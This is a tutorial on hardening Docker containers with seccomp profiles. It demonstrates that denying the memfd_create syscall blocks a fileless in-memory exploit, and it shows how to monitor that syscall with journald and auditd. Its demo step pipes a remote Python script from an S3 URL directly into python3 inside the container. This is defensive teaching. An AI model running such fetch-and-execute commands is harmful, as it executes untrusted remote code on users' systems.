Skip to main content

Seccomp: Use of Seccomp Profiles to Secure Container Workloads

839 words·
DevSecOps Seccomp Seccomp Profile Syscalls Docker
Table of Contents

Overview
#

Syscalls (System Calls)
#

  • Syscalls provide an interface between a user-space applications and the Linux kernel

  • Via syscalls an application can request a service from the operating system, for example, file operations like read & write

  • Syscalls interact directly with the kernel


User Space:

  • Where regular applications run

  • Must use syscalls to interact with the kernel for operations like file access, networking, or process control

Kernel Space::

  • The core part of the operating system that has full control over the hardware and system resources

Seccomp (Secure Computing Mode)
#

  • Seccomp is a Linux kernel security feature that controls process access to syscalls

  • It reduces the risk of exploits by blocking unnecessary syscalls


Seccomp Profiles
#

  • A Seccomp profile defines allowed and denied syscalls

  • Syscalls can be allowed SCMP_ACT_ALLOW, logged and blocked SCMP_ACT_ERRNO

  • When a process tries to make a restricted syscall, Seccomp denies it based on the profile


memfd_create Syscall
#

  • Provides a temporary file descriptor for applications that need to store data in memory without writing to disk

  • Helps avoid writing sensitive data to disk by keeping it in memory

  • Syscall ID 319


Syscalls: https://de.wikipedia.org/wiki/Liste_der_Linux-Systemaufrufe

Notes
#

  • This setup was tested with Ubuntu 22.04, 64-bit



Prerequisites
#

Install Docker
#

Installation script:

#!/bin/bash

# Install Docker and Docker Compose on Ubuntu
sudo apt-get update

sudo apt-get install \
    ca-certificates \
    curl \
    gnupg \
    lsb-release -y

sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y

Add User to Docker Group
#

# Add current user to Docker group
sudo usermod -aG docker $(whoami)

# Apply group membership / spawn new shell
newgrp docker

Create Working Directory
#

# Create a working directory
sudo mkdir -p /opt/example-container-seccomp
cd /opt/example-container-seccomp



Python Container: Verify Exploit
#

Create Seccomp Profile
#

Create a Seccompt profile named “audit.json”:

sudo tee /opt/example-container-seccomp/audit.json > /dev/null << EOF
{
    "defaultAction": "SCMP_ACT_LOG"
}
EOF

Profile Overview:

  • Logs every syscall made inside the container

Run Python Container
#

# Run a Python container
sudo docker run -d -it --rm \
  --name fileless-container \
  --read-only \
  --security-opt seccomp=/opt/example-container-seccomp/audit.json \
  python:3.9.1
  • -it Start an interactive shell inside the container, i keep STDIN open, -t allocate a TTY

  • --rm Remove the container when stopped

  • --read-only Read-only file system

  • --security-opt seccomp=audit.json Path to Seccomp audit profile


Verify the container:

# List running containers
docker ps

# Shell output:
CONTAINER ID   IMAGE          COMMAND     CREATED         STATUS         PORTS     NAMES
47538fab5479   python:3.9.1   "python3"   3 minutes ago   Up 3 minutes             fileless-container

Optional: Start Journald Syscalls Monitoring
#

# Follow which syscalls are executed: Filter logs for Seccomp events
sudo journalctl -f | grep audit

Run Example Exploit
#

# Open container shell (In new terminal)
docker exec -it fileless-container /bin/bash

# Run exploit
curl -s https://sec4dev.s3.eu-central-1.amazonaws.com/output.py | python3

# Shell output:
You're hacked!

Journald: Verify Syscall
#

# Grep for "syscall=319"
sudo journalctl | grep syscall=319

# Shell output:
Feb 12 10:15:02 ubnt-03 audit[4796]: SECCOMP auid=4294967295 uid=0 gid=0 ses=4294967295 subj=docker-default pid=4796 comm="python3" exe="/usr/local/bin/python3.9" sig=0 arch=c000003e syscall=319 compat=0 ip=0x7f3aceaaf347 code=0x7ffc0000

Stop & Delete Container
#

# Stop & delete the container
docker stop fileless-container



Python Container: Prohibit Exploit
#

Create Seccomp Profile
#

Create a Seccompt profile named “audit.json”:

sudo tee /opt/example-container-seccomp/container-hardened.json > /dev/null << EOF
{
    "defaultAction": "SCMP_ACT_LOG",
    "syscalls": [
        {
            "names": ["memfd_create"],
            "action": "SCMP_ACT_ERRNO"
        }
    ]
}
EOF

Profile Overview:

  • defaultAction: "SCMP_ACT_LOG" Logs every syscall made inside the container
# "syscalls" section:
"names": ["memfd_create"]  # Targets the "memfd_create" syscall "319"
"action": "SCMP_ACT_ERRNO"  # Return an error (EPERM - Permission Denied) when a process tries to use it

Run Python Container
#

# Run a Python container
sudo docker run -d -it --rm \
  --name fileless-container \
  --read-only \
  --security-opt seccomp=/opt/example-container-seccomp/container-hardened.json \
  python:3.9.1

Verify the container:

# List running containers
docker ps

# Shell output:
CONTAINER ID   IMAGE          COMMAND     CREATED         STATUS         PORTS     NAMES
be8280193801   python:3.9.1   "python3"   5 seconds ago   Up 4 seconds             fileless-container

Run Example Exploit
#

# Open container shell (In new terminal)
docker exec -it fileless-container /bin/bash

# Run exploit
curl -s https://sec4dev.s3.eu-central-1.amazonaws.com/output.py | python3

# Shell output:
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
OSError: [Errno 9] Bad file descriptor

Journald: Verify Syscall
#

Journald shows no now entries for “syscall=319”.

# Grep for "syscall=319"
sudo journalctl | grep syscall=319

Stop & Delete Container
#

# Stop & delete the container
docker stop fileless-container



Optional: Auditd Monitoring
#

Install Package
#

  • Install auditd package to monitor syscall activity
# Install auditd
sudo apt install -y auditd

# Verify installation
systemctl status auditd

Create Temporary Rule
#

# Create an audit rule to track "memfd_create"
sudo auditctl -a always,exit -F arch=b64 -S memfd_create -k memfd_detect
  • -a always,exit Logs every exit of the syscall

  • -S memfd_create Specifies the syscall to monitor

  • -k memfd_detect Adds filter tag “memfd_detect” for searching


Auditd: Verify Syscall
#

# List Auditd logs with filter tag "memfd_detect"
sudo ausearch -k memfd_detect --start recent